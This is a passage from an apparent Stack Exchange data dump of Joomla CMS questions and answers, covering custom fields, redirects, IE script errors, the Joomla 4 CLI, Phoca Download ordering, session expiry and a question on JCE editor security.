$custom_fields_by_name['alert']-&amp;gt;id,&#xA;            $article-&amp;gt;id,&#xA;            $your_custom_field_value&#xA;        );&#xA;      }&#xA;&#xA;      return true;&#xA;     }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="12352" LastEditDate="2019-10-31T03:52:54.757" LastActivityDate="2019-10-31T03:52:54.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26331" PostTypeId="2" ParentId="26327" CreationDate="2019-10-30T07:54:19.750" Score="1" Body="&lt;p&gt;This most likely means that you are adding non-existing assets. Their links generate a 404 page which is why you're getting the &lt;code&gt;text/html&lt;/code&gt; MIME type instead of respective types for CSS/JS files.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-10-30T07:54:19.750" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26332" PostTypeId="1" AcceptedAnswerId="26354" CreationDate="2019-10-30T19:31:57.257" Score="1" ViewCount="111" Body="&lt;p&gt;Well, I am trying to develop a simple web system that uses Joomla CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project is simple and becomes from a thought of working with Joomla categories, subcategories, articles and extra fields like database, tables, table line and table columns respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For data input, I plan to use custom frontend forms for articles or ChronoForms component. For views, I plan to use articles with the help of Sourcerer plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current issue that I face is that Joomla's extra fields is not designed for using float numbers, the reason of this question: how can I use extra fields to work with float numbers? I will work mainly with currency values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about three solutions, but I had no success:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Using integer type, I put 0 for start and a great number for end, for example 1000000000 measuring units of the currency. I tried to use step 0.01 as &lt;a href=&quot;https://stackoverflow.com/questions/40550071/joomla-float-form-field&quot;&gt;https://stackoverflow.com/questions/40550071/joomla-float-form-field&lt;/a&gt; recommended, but that value was rejected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I tried to use then the same range of integer but considering the value as a cent of the currency, with step 1. But on frontend is opens a listbox where I have to choose one option - I cannot write my own number. It is awful.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using a text field, I can work with numbers on correct form, but it does not filter only numbers and the &quot;.&quot; character (user can input invalid numbers).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help to use float numbers on text field in Joomla with correct validation to do not develop it apart?&lt;/p&gt;&#xA;" OwnerUserId="11046" LastActivityDate="2019-11-04T13:56:56.480" Title="Extra fields Vs. float numbers" Tags="|custom-field|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26334" PostTypeId="1" CreationDate="2019-10-30T22:29:52.970" Score="0" ViewCount="130" Body="&lt;p&gt;I am hoping someone may be able to help me. I am not experienced enough with .htaccess and rewrite etc to understand what is needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following already switched on in my Joomla global config.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Search Engine Friendly URLs Yes&lt;/li&gt;&#xA;&lt;li&gt;Use URL Rewriting Yes&lt;/li&gt;&#xA;&lt;li&gt;Add Suffix to URL YEs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basically, I just want page link &lt;code&gt;xyz.org/patents&lt;/code&gt; to redirect to &lt;code&gt;zzz.org/patents&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried in cpanel but this doesn't seem to work because Joomla overides my cpanel redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get &lt;code&gt;xyz.org&lt;/code&gt; to redirect &lt;code&gt;zzz.org&lt;/code&gt; but cannot do individual links which is what I require.&lt;/p&gt;&#xA;" OwnerUserId="13881" LastEditorUserId="12352" LastEditDate="2019-10-30T22:36:18.060" LastActivityDate="2024-03-08T23:02:45.333" Title="Redirect a specific page on one website to a specific page on another website" Tags="|.htaccess-configuration|redirect|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26335" PostTypeId="1" CreationDate="2019-10-31T00:27:52.207" Score="1" ViewCount="46" Body="&lt;p&gt;I have added JS as a field on Joomla Seblod, which calls a JS file in my file system &lt;strong&gt;my_profile.js&lt;/strong&gt; as follows-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.getScript(&quot;/components/com_msp/js/my_profile.js&quot;)&#xA;    .done(function(script, textStatus) {&#xA;    console.log('inside success in seblod');&#xA;    main();&#xA;}).fail(function( jqxhr, settings, exception ) {&#xA;    console.log('JS failed in seblod..');&#xA;    console.log(JSON.stringify(jqxhr));&#xA;    console.log( &quot;Error:&quot; + settings + ' : ' + exception );&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On Chrome, the JS is called correctly and all the code works (I also get inside success in seblod message on the Inspect console), but on IE I get this on the console-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The code on this page disabled back and forward caching.&#xA;JS failed in seblod..&#xA;Error:parsererror : SyntaxError: Expected identifier&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code inside the files and everything is the same. Till yesterday I could see the changes on IE as well.&lt;/p&gt;&#xA;" OwnerUserId="13764" LastActivityDate="2019-10-31T16:22:16.810" Title="JS file not loading on IE, works on Chrome in Joomla Seblod" Tags="|joomla-3.x|javascript|seblod|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26336" PostTypeId="2" ParentId="26334" CreationDate="2019-10-31T07:01:17.440" Score="0" Body="&lt;p&gt;In your .htaccess file try this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 &quot;/patents&quot; &quot;http://www.zzz.org/patents&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just add it at the bottom of the file. Sorry if formatting is weird, I'm on my cell.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2019-10-31T07:01:17.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26337" PostTypeId="2" ParentId="26334" CreationDate="2019-10-31T13:50:22.123" Score="0" Body="&lt;p&gt;Or try using the Joomla Redirect component, providing the xyz.org site is the one running Joomla. Set the expired url to /patents and the &quot;new url&quot; to &lt;a href=&quot;https://zzz.org/patents&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://zzz.org/patents&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are third-party extensions that get in the way of this component doing its job, so it may not always work, but it's worth a try if you're having trouble making other ways work.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-10-31T13:50:22.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26338" PostTypeId="1" AcceptedAnswerId="26343" CreationDate="2019-10-31T13:56:00.737" Score="0" ViewCount="192" Body="&lt;p&gt;Is it possible to only show a field on for example the 3rd level of categories? Now when I link a field to a top level categorie, the field is shown on all articles on all levels of categories, but is it possible to only show the for articles under for example a 3rd level category?&lt;/p&gt;&#xA;" OwnerUserId="12088" LastActivityDate="2019-10-31T23:40:27.733" Title="Only show joomla custom fields on certain category levels" Tags="|joomla-3.x|custom-field|category|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26339" PostTypeId="2" ParentId="26335" CreationDate="2019-10-31T16:22:16.810" Score="1" Body="&lt;p&gt;&lt;code&gt;parsererror : SyntaxError: Expected identifier&lt;/code&gt; was actually causing issues with the JS code on IE. I had to do a line by line debug and finally found 2 instances in the code that was causing this-&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I was using this to loop through an object- &lt;code&gt;for(const [serial, dates] of Object.entries(data)) {&lt;/code&gt;. Had to replace this with a simpler &lt;strong&gt;for...in&lt;/strong&gt; loop like- &lt;code&gt;for (var serial in data){ if (data.hasOwnProperty(serial)) {&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm using &lt;strong&gt;sweetalert&lt;/strong&gt; in my script and a &lt;code&gt;.then((result) =&amp;gt; {&lt;/code&gt; inside it, and on some digging I found that IE doesn't take the arrow operators. So instead of that I used a &lt;code&gt;queue&lt;/code&gt; on sweetalert actions and basically did the same steps but without the arrow operator.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13764" LastActivityDate="2019-10-31T16:22:16.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26340" PostTypeId="1" CreationDate="2019-10-31T17:11:45.423" Score="2" ViewCount="205" Body="&lt;p&gt;Joomla 4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP 7.3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Composer and NPM node modules installed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following this doc on Joomladocs, &lt;a href=&quot;https://docs.joomla.org/J4.x:CLI_Update&quot; rel=&quot;nofollow noreferrer&quot;&gt;CLI Update&lt;/a&gt;, &lt;code&gt;php cli/joomla.php&lt;/code&gt; - and whatever command I add after doesn't work. I get an error message (probably from Symfony). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error message is very descriptive (kidding): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;div class=&quot;container&quot;&amp;gt; &#xA;    &amp;lt;h1&amp;gt;Whoops, looks like something went wrong.&#xA;    &amp;lt;/h1&amp;gt; &#xA;    &amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It comes from this file: /libraries/vendor/symfony/debug/ExceptionHandler.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While a test file with some php - php cli/test.php - works allright.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong ?&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="270" LastEditDate="2019-11-01T12:54:01.013" LastActivityDate="2019-11-01T12:54:01.013" Title="CLI for joomla 4 not working for me" Tags="|joomla-4.x|cli|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26341" PostTypeId="1" CreationDate="2019-10-31T19:04:54.297" Score="3" ViewCount="290" Body="&lt;p&gt;In articles I have added a series of custom fields, now I need to be able to filter through these fields, while being in the article manager view. I have searched about it but without success, I just need that when searching take into account the values that have been added in these custom fields. I have read of a couple of extensions that allow this as &lt;code&gt;ja megafilter&lt;/code&gt; or &lt;code&gt;easylayout&lt;/code&gt; but I understand they work in the frontend context and I need the search to be done in the context of article manager view. How to extend the article search to take into account the values of custom fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This temporary solution has been working&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This query returns articles according to the value of a custom field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    DISTINCT c.id, c.title&#xA;FROM fields f &#xA;    join fields_values v on f.id=v.field_id &#xA;    join content c on c.id=v.item_id&#xA;WHERE&#xA;    f.name='{field_name}' and v.value='{value}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is possible to extend the where and aggregate the custom fields that you require, for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    DISTINCT c.id, c.title&#xA;FROM fields f &#xA;    join fields_values v on f.id=v.field_id &#xA;    join content c on c.id=v.item_id&#xA;WHERE&#xA;    (f.name='{field_name1}' and v.value='{value}') or (f.name='{field_name2}' and v.value = '{value}')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Joomla I modified the query in the file &lt;code&gt;plugins/system/jacontenttype/models/com_content.admin.articles.php&lt;/code&gt; in the &lt;code&gt;getListQuery&lt;/code&gt; method&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;from('#__content AS a');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;from('#__content AS a')&#xA;    -&amp;gt;join('LEFT', '#__fields_values AS v ON a.id = fv.item_id')&#xA;    -&amp;gt;join('LEFT', '#__fields f ON f.id = fv.field_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the same method in the section where it is verified if the &lt;code&gt;$search&lt;/code&gt; variable is not empty, modify the else section by adding &lt;code&gt;orWhere&lt;/code&gt; as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$search = $db-&amp;gt;quote('%' . str_replace(' ', '%', $db-&amp;gt;escape(trim($search), true) . '%'));&#xA;$query-&amp;gt;where('(a.title LIKE ' . $search . ' OR a.alias LIKE ' . $search . ' OR a.note LIKE ' . $search . ')', 'OR');&#xA;$query-&amp;gt;orWhere(&quot;(f.name = 'field_1' and fv.value LIKE $search) OR (f.name = 'field_2' and fv.value LIKE $search)&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know it is not the right solution because I modify joomla files but maybe this is for someone of utility&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by the way, the credit for the query to &lt;a href=&quot;https://stackoverflow.com/users/8240510/elbek&quot;&gt;Elbek&lt;/a&gt;, in this &lt;a href=&quot;https://stackoverflow.com/a/58654579/615274.&quot;&gt;answer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your comments&lt;/p&gt;&#xA;" OwnerUserId="13628" LastEditorUserId="13628" LastEditDate="2019-11-07T11:57:50.087" LastActivityDate="2020-08-03T12:07:05.717" Title="How to extend the article search to take into account the values of custom fields?" Tags="|articles|custom-field|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26342" PostTypeId="2" ParentId="26341" CreationDate="2019-10-31T21:15:30.900" Score="3" Body="&lt;p&gt;First of all. This is potentially an awesome idea you have for searcheable admin custom fields. This could be done using template override and/or layout override of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPATH_ADMINISTRATOR/components/com_content/articles/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And create a dedicated search plugin, better yet a system plugin eg: plg_system_searchcustomfields to hook into content filtering and add the desired behaviour.&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="12352" LastEditDate="2019-10-31T23:41:43.430" LastActivityDate="2019-10-31T23:41:43.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26343" PostTypeId="2" ParentId="26338" CreationDate="2019-10-31T21:36:44.520" Score="1" Body="&lt;p&gt;When you create your custom field. On the right side you can choose which category /categories this particular field will show in.&#xA;In your case, from what I understand, you chose the 1st level category so if the 3rd level category is a child of the 1st level one it will show on the 3rd category as well. If you want to show on the 3rd level category only but with the same structure, you must choose the 3rd level category only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another way to do it. If you flatten your categories hierarchy, you can choose any category and the custom field will show on the categories chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more thing...&#xA;You must pay particular attention to access levels too. If your user is in a particular access level let say &quot;Example A&quot; and the custom field is in this access level &quot;Example A&quot; and the 3rd level category is in this access level &quot;Example A&quot; and the article is in the same access level &quot;Example A&quot;, the user should only see this particular category and custom field.&#xA;Quite a long and mind twisting answer but hopefully you get the point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a summary: &#xA;Choose the most precise category &quot;most deep in hierarchy&quot; and choose the right access levels along the whole access level &quot;chain&quot; &#xA;user-&gt;menu-&gt;category-&gt;article-&gt;custom_field&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="12352" LastEditDate="2019-10-31T23:40:27.733" LastActivityDate="2019-10-31T23:40:27.733" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26345" PostTypeId="2" ParentId="25142" CreationDate="2019-11-01T21:19:48.427" Score="1" Body="&lt;p&gt;Just a shot in the dark here, but is your webserver configured to allow FileInfo overrides? If the main webserver config doesn't allow that, the ErrorDocument directive will be ignored in the .htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're looking for the directive AllowOverride in the main configuration.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-11-01T21:19:48.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26349" PostTypeId="2" ParentId="24787" CreationDate="2019-11-03T15:21:56.990" Score="0" Body="&lt;p&gt;Helix_v2 doesn't have extra caching functionality. You just clean your Joomla default cache from the site Administrator area &amp;amp; check caching settings from the global configuration system tab.&lt;/p&gt;&#xA;" OwnerUserId="9511" LastEditorUserId="12352" LastEditDate="2019-11-03T19:42:45.777" LastActivityDate="2019-11-03T19:42:45.777" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26350" PostTypeId="1" CreationDate="2019-11-03T20:07:40.027" Score="0" ViewCount="108" Body="&lt;p&gt;I have created a hello world component based upon this documentation &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/J3.2:Developing_an_MVC_Component/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Special:MyLanguage/J3.2:Developing_an_MVC_Component/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to send a notification to users if an item's publishing status has been changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the function &lt;code&gt;listItemTask&lt;/code&gt;. &#xA; Can we override this function in my custom component?&lt;/p&gt;&#xA;" OwnerUserId="13888" LastEditorUserId="12352" LastEditDate="2019-11-03T21:23:54.240" LastActivityDate="2020-08-01T12:03:50.470" Title="Send email upon publish/unpublish of an item in custom component" Tags="|joomla-3.x|custom-component|overrides|emails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26351" PostTypeId="1" AcceptedAnswerId="26352" CreationDate="2019-11-04T11:46:15.917" Score="2" ViewCount="687" Body="&lt;p&gt;Matthew Murphy asks the following on the Joomla Facebook Group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Anyone know of an extension for content that replaces the name with the person who's logged in?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For example I have been working on a staff training section and I want to have an article like:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;$Yourname, if you are reading this and are unclear of the difference between the two types of letters...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;$Yourname would say Matthew instead.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="12352" LastEditDate="2019-11-04T22:36:10.353" LastActivityDate="2019-12-24T13:07:16.360" Title="How can I display the first name of the currently logged in user in content" Tags="|joomla-3.x|articles|extensions|user|custom-module|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26352" PostTypeId="2" ParentId="26351" CreationDate="2019-11-04T11:46:15.917" Score="2" Body="&lt;p&gt;The code required to extract the first name of the currently logged in user is fairly simple. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $user = JFactory::getUser();&#xA;  if (!$user-&amp;gt;guest) {&#xA;    echo strtok($user-&amp;gt;name, ' ');&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the free or paid version of &lt;a href=&quot;https://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sourcerer&lt;/a&gt; you could insert the code directly into an article as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&amp;lt;?php $user = JFactory::getUser(); if (!$user-&amp;gt;guest) {echo strtok($user-&amp;gt;name, ' ');} ?&amp;gt;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a more elegant solution, create a Custom HTML Module using the above code with Sourcerer like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php&#xA;  $user = JFactory::getUser();&#xA;  if (!$user-&amp;gt;guest) {&#xA;    echo strtok($user-&amp;gt;name, ' ');&#xA;  }&#xA;?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Specify a custom module position e.g. &lt;code&gt;firstname&lt;/code&gt; and remember to set Prepare Content = Yes under the Options tab. Save and Close the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inserting the first name of the currently logged in user into content can then be done more simply using: &lt;code&gt;{loadposition firstname}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-11-04T12:26:39.067" LastActivityDate="2019-11-04T12:26:39.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26353" PostTypeId="1" AcceptedAnswerId="26355" CreationDate="2019-11-04T13:53:23.813" Score="0" ViewCount="39" Body="&lt;p&gt;I read &lt;a href=&quot;https://blog.sucuri.net/2019/10/throwback-threat-thursday-jce-vulnerability.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.sucuri.net/2019/10/throwback-threat-thursday-jce-vulnerability.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use JCE and it is so WYSIWIG, i.e., easy for a user that have access to frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am from the &quot;light side&quot; of loving JCE ant the author of above blog is like from the &quot;dark side&quot; of hating it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is it really so insecure to be discarded from any website or do we only have to pay attention to new component updates (download and install more often)?&lt;/p&gt;&#xA;" OwnerUserId="11046" LastActivityDate="2019-11-04T16:04:36.103" Title="Is it secure to work with JCE?" Tags="|security|jce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26354" PostTypeId="2" ParentId="26332" CreationDate="2019-11-04T13:56:56.480" Score="0" Body="&lt;p&gt;As @FFrewin said, you can use text field and select float filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PT-BR language actually has a language issue about that - I will report to developers.&lt;/p&gt;&#xA;" OwnerUserId="11046" LastActivityDate="2019-11-04T13:56:56.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26355" PostTypeId="2" ParentId="26353" CreationDate="2019-11-04T16:04:36.103" Score="5" Body="&lt;p&gt;The article starts with the text:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Throwback Threat Thursday is a series of posts where we recall older vulnerabilities that have since been patched by their developers. In the past, these vulnerabilities caused significant impacts to the security of website owners. Some vulnerable sites may be still be found in wild.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, there was a major security issue with JCE editor 8 years ago. The current version of JCE editor does not have any known security issues. I use it on all my sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as with all software, you should keep all software up-to-date: Joomla itself + all 3rd party extensions.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2019-11-04T16:04:36.103" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26356" PostTypeId="1" AcceptedAnswerId="26357" CreationDate="2019-11-04T19:00:39.640" Score="1" ViewCount="303" Body="&lt;p&gt;Phoca Download has a plugin to show a list of files in certain category using &lt;code&gt;{phocadownload view=filelist|id=XX|limit=YY}&lt;/code&gt;, where XX is the number of category and YY is the number of files to show. For the particular case, I would like to show the last 6 files uploaded to certain category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to show certain categories to show on certain title ascendant ordering and other to show on certain title descendant ordering, but it is possible to use only one ordering on Phoca Download settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no parameter in &lt;a href=&quot;https://www.phoca.cz/documents/51-phoca-download-plugin/228-displaying-phoca-download-plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Phoca Download Plugin documentation&lt;/a&gt; that let us change file ordering particularly on that view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know how so solve that?&lt;/p&gt;&#xA;" OwnerUserId="11046" LastEditorUserId="11046" LastEditDate="2019-11-05T12:09:40.483" LastActivityDate="2020-08-01T13:06:20.603" Title="Displaying the only the last 6 files of a category in article using Phoca Download Plugin" Tags="|phocagallery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26357" PostTypeId="2" ParentId="26356" CreationDate="2019-11-04T19:08:47.523" Score="1" Body="&lt;p&gt;Well, I found only a fix on code change.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;On plugins/content/phocadownload/phocadownload.php copy from &lt;code&gt;case 'filelist':&lt;/code&gt; to &lt;code&gt;break;&lt;/code&gt; and paste bellow changing &lt;code&gt;filelist&lt;/code&gt; to &lt;code&gt;filelistdt&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Replace &lt;code&gt;$fileOrdering       = PhocaDownloadOrdering::getOrderingText($ordering, 3);&lt;/code&gt; on that case to &lt;code&gt;$fileOrdering         = 'a.title DESC';&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;On Phoca Download Settings, use title ascendant for default ordering;&lt;/li&gt;&#xA;&lt;li&gt;On the use of Phoca Download Plugin, use &lt;code&gt;{phocadownload view=filelist|id=XX|limit=YY}&lt;/code&gt; for title ascendant ordering or &lt;code&gt;{phocadownload view=filelistdt|id=XX|limit=YY}&lt;/code&gt; for titls descendant ordering.&lt;/li&gt;&#xA;&lt;li&gt;For the last 6, use &lt;code&gt;{phocadownload view=filelistdt|id=XX|limit=6}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The only issue I found with that is when Phoca Download Plugin would be updated, that changes will be overwritten :(&lt;/p&gt;&#xA;" OwnerUserId="11046" LastActivityDate="2019-11-04T19:08:47.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26358" PostTypeId="2" ParentId="26350" CreationDate="2019-11-05T09:48:36.690" Score="1" Body="&lt;p&gt;I would suggest you look at creating a plugin to send the email that responds to a onContentChangeState event trigger. The plugin would check that it is an item of your component being changed($context in the params) and then it will provide the ID and the value(Published/Unplublished) that you can use in your email subject or body. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be a starting point for you, &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/Content&lt;/a&gt;, third from the bottom.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-11-05T11:47:23.913" LastActivityDate="2019-11-05T11:47:23.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26359" PostTypeId="1" AcceptedAnswerId="26360" CreationDate="2019-11-05T11:53:05.953" Score="3" ViewCount="174" Body="&lt;p&gt;I've been trying to track down some odd behaviour on a test site of mine and it appears to be due to guest sessions. I could be wrong, but &lt;strong&gt;it seems like Joomla sessions for guests are expiring at a faster rate than that set in the adminstrative section&lt;/strong&gt; (Administrator-&gt;Global Configuration -&gt;System-&gt;Session Settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this expected/ known behaviour? If it is, is there anyway I can change the session expiration time for guests to match logged in users?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla Version:       3.9.11&lt;/li&gt;&#xA;&lt;li&gt;Session Handler:      Database&lt;/li&gt;&#xA;&lt;li&gt;Shared    Sessions:   No&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastActivityDate="2019-11-07T07:20:43.050" Title="Do Joomla sessions for guests expire at different periods of time than logged in users?" Tags="|session|jsession|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
